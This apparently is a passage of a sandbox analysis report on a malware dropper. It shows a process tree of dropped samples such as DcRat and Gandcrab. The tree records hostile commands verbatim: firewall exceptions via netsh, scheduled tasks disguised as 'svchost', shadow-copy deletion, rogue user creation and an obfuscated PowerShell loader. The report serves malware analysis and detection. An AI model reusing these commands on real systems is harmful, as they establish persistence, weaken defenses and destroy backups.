PID 3024 wrote to memory of 1700	3024	PCCooker2.0_x64.exe	32
PID 3024 wrote to memory of 1700	3024	PCCooker2.0_x64.exe	32
PID 3024 wrote to memory of 1700	3024	PCCooker2.0_x64.exe	32
PID 3024 wrote to memory of 1700	3024	PCCooker2.0_x64.exe	32
PID 1700 wrote to memory of 1392	1700	クラック.exe	33
PID 1700 wrote to memory of 1392	1700	クラック.exe	33
PID 1700 wrote to memory of 1392	1700	クラック.exe	33
PID 1700 wrote to memory of 1392	1700	クラック.exe	33
PID 1700 wrote to memory of 1236	1700	クラック.exe	34
PID 1700 wrote to memory of 1236	1700	クラック.exe	34
PID 1700 wrote to memory of 1236	1700	クラック.exe	34
PID 1700 wrote to memory of 1236	1700	クラック.exe	34
PID 1700 wrote to memory of 1552	1700	クラック.exe	35
PID 1700 wrote to memory of 1552	1700	クラック.exe	35
PID 1700 wrote to memory of 1552	1700	クラック.exe	35
PID 1700 wrote to memory of 1552	1700	クラック.exe	35
PID 1700 wrote to memory of 1668	1700	クラック.exe	36
PID 1700 wrote to memory of 1668	1700	クラック.exe	36
PID 1700 wrote to memory of 1668	1700	クラック.exe	36
PID 1700 wrote to memory of 1668	1700	クラック.exe	36
PID 1700 wrote to memory of 2456	1700	クラック.exe	37
PID 1700 wrote to memory of 2456	1700	クラック.exe	37
PID 1700 wrote to memory of 2456	1700	クラック.exe	37
PID 1700 wrote to memory of 2456	1700	クラック.exe	37
PID 1700 wrote to memory of 2324	1700	クラック.exe	39
PID 1700 wrote to memory of 2324	1700	クラック.exe	39
PID 1700 wrote to memory of 2324	1700	クラック.exe	39
PID 1700 wrote to memory of 2324	1700	クラック.exe	39
PID 1700 wrote to memory of 1716	1700	クラック.exe	40
PID 1700 wrote to memory of 1716	1700	クラック.exe	40
PID 1700 wrote to memory of 1716	1700	クラック.exe	40
PID 1700 wrote to memory of 1716	1700	クラック.exe	40
PID 1700 wrote to memory of 2704	1700	クラック.exe	41
PID 1700 wrote to memory of 2704	1700	クラック.exe	41
PID 1700 wrote to memory of 2704	1700	クラック.exe	41
PID 1700 wrote to memory of 2704	1700	クラック.exe	41
PID 1700 wrote to memory of 2956	1700	クラック.exe	42
PID 1700 wrote to memory of 2956	1700	クラック.exe	42
PID 1700 wrote to memory of 2956	1700	クラック.exe	42
PID 1700 wrote to memory of 2956	1700	クラック.exe	42
PID 1700 wrote to memory of 2104	1700	クラック.exe	43
PID 1700 wrote to memory of 2104	1700	クラック.exe	43
PID 1700 wrote to memory of 2104	1700	クラック.exe	43
PID 1700 wrote to memory of 2104	1700	クラック.exe	43
PID 1700 wrote to memory of 1740	1700	クラック.exe	44
PID 1700 wrote to memory of 1740	1700	クラック.exe	44
PID 1700 wrote to memory of 1740	1700	クラック.exe	44
PID 1700 wrote to memory of 1740	1700	クラック.exe	44
PID 1700 wrote to memory of 1480	1700	クラック.exe	46
PID 1700 wrote to memory of 1480	1700	クラック.exe	46
PID 1700 wrote to memory of 1480	1700	クラック.exe	46
PID 1700 wrote to memory of 1480	1700	クラック.exe	46
PID 1700 wrote to memory of 3044	1700	クラック.exe	47
PID 1700 wrote to memory of 3044	1700	クラック.exe	47
PID 1700 wrote to memory of 3044	1700	クラック.exe	47
PID 1700 wrote to memory of 3044	1700	クラック.exe	47
PID 1700 wrote to memory of 2252	1700	クラック.exe	48
PID 1700 wrote to memory of 2252	1700	クラック.exe	48
PID 1700 wrote to memory of 2252	1700	クラック.exe	48
PID 1700 wrote to memory of 2252	1700	クラック.exe	48

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\PCCooker2.0_x64.exe
"C:\Users\Admin\AppData\Local\Temp\PCCooker2.0_x64.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Users\Admin\AppData\Local\Temp\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
  "C:\Users\Admin\AppData\Local\Temp\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:636
- C:\Users\Admin\AppData\Local\Temp\クラック.exe
  "C:\Users\Admin\AppData\Local\Temp\クラック.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1700
- - C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
    "C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1392
- - C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
    "C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1236
  - - C:\Program Files\Windows Photo Viewer\ja-JP\dllhost.exe
      "C:\Program Files\Windows Photo Viewer\ja-JP\dllhost.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4036
- - C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
    "C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1552
- - C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
    "C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    PID:1668
  - - C:\Users\Admin\AppData\Local\Temp\server.exe
      "C:\Users\Admin\AppData\Local\Temp\server.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3312
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:3908
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Exsample.exe
        5⤵
        Kills process with taskkill
        
        PID:2828
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 808
        5⤵
        
        PID:2104
- - C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
    "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:2456
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" ENABLE
      4⤵
      Modifies Windows Firewall
      PID:600
- - C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe
    "C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2324
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2gxmno5y\2gxmno5y.cmdline"
      4⤵
      PID:296
- - C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
    "C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1716
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
      "Powershell.exe" -windowstyle minimized "$Teratism249 = Get-Content 'C:\Users\Admin\AppData\Local\Temp\celleslim\farve\pitiableness\Guldtand.Spi168' ; $Neglefilen=$Teratism249.SubString(69482,3);.$Neglefilen($Teratism249) "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2572
- - C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
    "C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
  - - C:\Program Files\Windows Photo Viewer\ja-JP\dllhost.exe
      "C:\Program Files\Windows Photo Viewer\ja-JP\dllhost.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3940
- - C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
    "C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2956
- - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
    "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies system certificate store
    PID:2104
  - - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
      "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
      4⤵
      PID:3276
- - C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
    "C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:1740
  - - C:\Windows\winhlp32.exe
      winhlp32.exe -x
      4⤵
      System Location Discovery: System Language Discovery
      PID:2004
  - - C:\Windows\winhlp32.exe
      winhlp32.exe -x
      4⤵
      System Location Discovery: System Language Discovery
      PID:3144
  - - C:\Users\Admin\AppData\Local\Temp\fwclt.exe
      C:\Users\Admin\AppData\Local\Temp\fwclt.exe C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      PID:3288
- - C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
    "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1480
- - C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe
    "C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3044
- - C:\Program Files (x86)\BTZ.exe
    "C:\Program Files (x86)\BTZ.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Impair Defenses: Safe Mode Boot
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2252
- - C:\Program Files (x86)\Cat.exe
    "C:\Program Files (x86)\Cat.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1792
- - C:\Program Files (x86)\Client.exe
    "C:\Program Files (x86)\Client.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1576
  - - C:\Windows\system32\CMD.exe
      "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" & exit
      4⤵
      PID:3560
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe"
        5⤵
        DcRat
        
        PID:3648
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
      4⤵
      PID:3240
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:912
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
      4⤵
      PID:4088
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1728
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
      4⤵
      PID:2800
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3452
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
      4⤵
      PID:3420
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2688
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
      4⤵
      PID:3400
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        5⤵
        DcRat
        Scheduled Task/Job: Scheduled Task
        
        PID:3968
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
      4⤵
      PID:3088
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        5⤵
        DcRat
        Scheduled Task/Job: Scheduled Task
        
        PID:1968
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
      4⤵
      PID:3632
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        5⤵
        DcRat
        
        PID:3784
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
      4⤵
      PID:1740
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        5⤵
        DcRat
        
        PID:300
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
      4⤵
      PID:3792
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        5⤵
        DcRat
        
        PID:1072
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
      4⤵
      PID:2700
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:932
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
      4⤵
      PID:4008
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        5⤵
        
        PID:3084
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
      4⤵
      PID:3924
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1884
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
      4⤵
      PID:3268
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        5⤵
        DcRat
        
        PID:2364
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
      4⤵
      PID:3304
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4048
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
      4⤵
      PID:2712
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        5⤵
        DcRat
        Scheduled Task/Job: Scheduled Task
        
        PID:3888
  - - C:\Windows\system32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
      4⤵
      PID:2044
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        5⤵
        
        PID:2052
- - C:\Program Files (x86)\Darkest Dungeon setub.exe
    "C:\Program Files (x86)\Darkest Dungeon setub.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    PID:2720
  - - C:\Users\Admin\AppData\Roaming\svhost.exe
      "C:\Users\Admin\AppData\Roaming\svhost.exe"
      4⤵
      PID:1852
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svhost.exe" "svhost.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:3856
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 760
        5⤵
        
        PID:3056
- - C:\Program Files (x86)\evil.exe
    "C:\Program Files (x86)\evil.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2192
  - - C:\Users\Admin\AppData\Local\Temp\evil.exe
      "C:\Users\Admin\AppData\Local\Temp\evil.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3248
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\evil.exe" "evil.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:628
- - C:\Program Files (x86)\fwclt.exe
    "C:\Program Files (x86)\fwclt.exe"
    3⤵
    - Executes dropped EXE
    PID:2560
- - C:\Program Files (x86)\Gandcrab5.0.3.exe
    "C:\Program Files (x86)\Gandcrab5.0.3.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2632
  - - C:\Windows\SysWOW64\wermgr.exe
      "C:\Windows\System32\wermgr.exe"
      4⤵
      Drops startup file
      Enumerates connected drives
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      PID:3348
    - - C:\Windows\SysWOW64\wbem\wmic.exe
        
        "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
        5⤵
        
        PID:2636
- - C:\Program Files (x86)\Happy18.exe
    "C:\Program Files (x86)\Happy18.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:2444
- - C:\Program Files (x86)\kosomk.exe
    "C:\Program Files (x86)\kosomk.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2700
  - - C:\Users\Admin\AppData\Roaming\dicsord.exe
      "C:\Users\Admin\AppData\Roaming\dicsord.exe"
      4⤵
      PID:3236
- - C:\Program Files (x86)\LightNeuronX0.exe
    "C:\Program Files (x86)\LightNeuronX0.exe"
    3⤵
    - Executes dropped EXE
    PID:1912
- - C:\Program Files (x86)\malecus.exe
    "C:\Program Files (x86)\malecus.exe"
    3⤵
    - Executes dropped EXE
    PID:1748
- - C:\Program Files (x86)\see7.exe
    "C:\Program Files (x86)\see7.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
  - - C:\Program Files (x86)\see7.exe
      "C:\Program Files (x86)\see7.exe"
      4⤵
      PID:2824
- - C:\Program Files (x86)\TEST.exe
    "C:\Program Files (x86)\TEST.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1848
  - - C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp450C.tmp.bat""
      4⤵
      PID:3896
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:1800
    - - C:\Users\Admin\AppData\Roaming\DriverrHub\Microsoft To Do.exe
        
        "C:\Users\Admin\AppData\Roaming\DriverrHub\Microsoft To Do.exe"
        5⤵
        
        PID:3336
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Program Files (x86)\touhou virus.bat" "
    3⤵
    PID:2992
  - - C:\Windows\SysWOW64\net.exe
      net user Shanghai /add
      4⤵
      PID:3920
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Shanghai /add
        5⤵
        
        PID:3596
  - - C:\Windows\SysWOW64\net.exe
      net user Bad Apple /add
      4⤵
      PID:2700
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Bad Apple /add
        5⤵
        
        PID:628
  - - C:\Windows\SysWOW64\net.exe
      net user Marisa
      4⤵
      PID:3328
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Marisa
        5⤵
        
        PID:3460
  - - C:\Windows\SysWOW64\net.exe
      net user Reimu /add
      4⤵
      PID:3808
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Reimu /add
        5⤵
        
        PID:3084
  - - C:\Windows\SysWOW64\mountvol.exe
      mountvol X:\ /d
      4⤵
      PID:3172
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" https://www.youtube.com/watch?v=PTt19B5_V3I
      4⤵
      PID:3032
- - C:\Program Files (x86)\vbc.exe
    "C:\Program Files (x86)\vbc.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2384
  - - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
      C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
      4⤵
      PID:3244
    - - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
        
        C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
        5⤵
        
        PID:1784
- - C:\Program Files (x86)\virus.jk.exe
    "C:\Program Files (x86)\virus.jk.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "a6a1abaf12a28ea8f6553356c3bdcf57a" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Desktop\a6a1abaf12a28ea8f6553356c3bdcf57.exe'" /f
1⤵
- Process spawned unexpected child process
PID:2828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "a6a1abaf12a28ea8f6553356c3bdcf57a" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Desktop\a6a1abaf12a28ea8f6553356c3bdcf57.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "a6a1abaf12a28ea8f6553356c3bdcf57" /sc ONLOGON /tr "'C:\Users\Public\Desktop\a6a1abaf12a28ea8f6553356c3bdcf57.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:320

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "a6a1abaf12a28ea8f6553356c3bdcf57" /sc ONLOGON /tr "'C:\Users\Public\Desktop\a6a1abaf12a28ea8f6553356c3bdcf57.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2524

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "a6a1abaf12a28ea8f6553356c3bdcf57a" /sc MINUTE /mo 10 /tr "'C:\Users\Public\Desktop\a6a1abaf12a28ea8f6553356c3bdcf57.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "a6a1abaf12a28ea8f6553356c3bdcf57a" /sc MINUTE /mo 10 /tr "'C:\Users\Public\Desktop\a6a1abaf12a28ea8f6553356c3bdcf57.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:1252

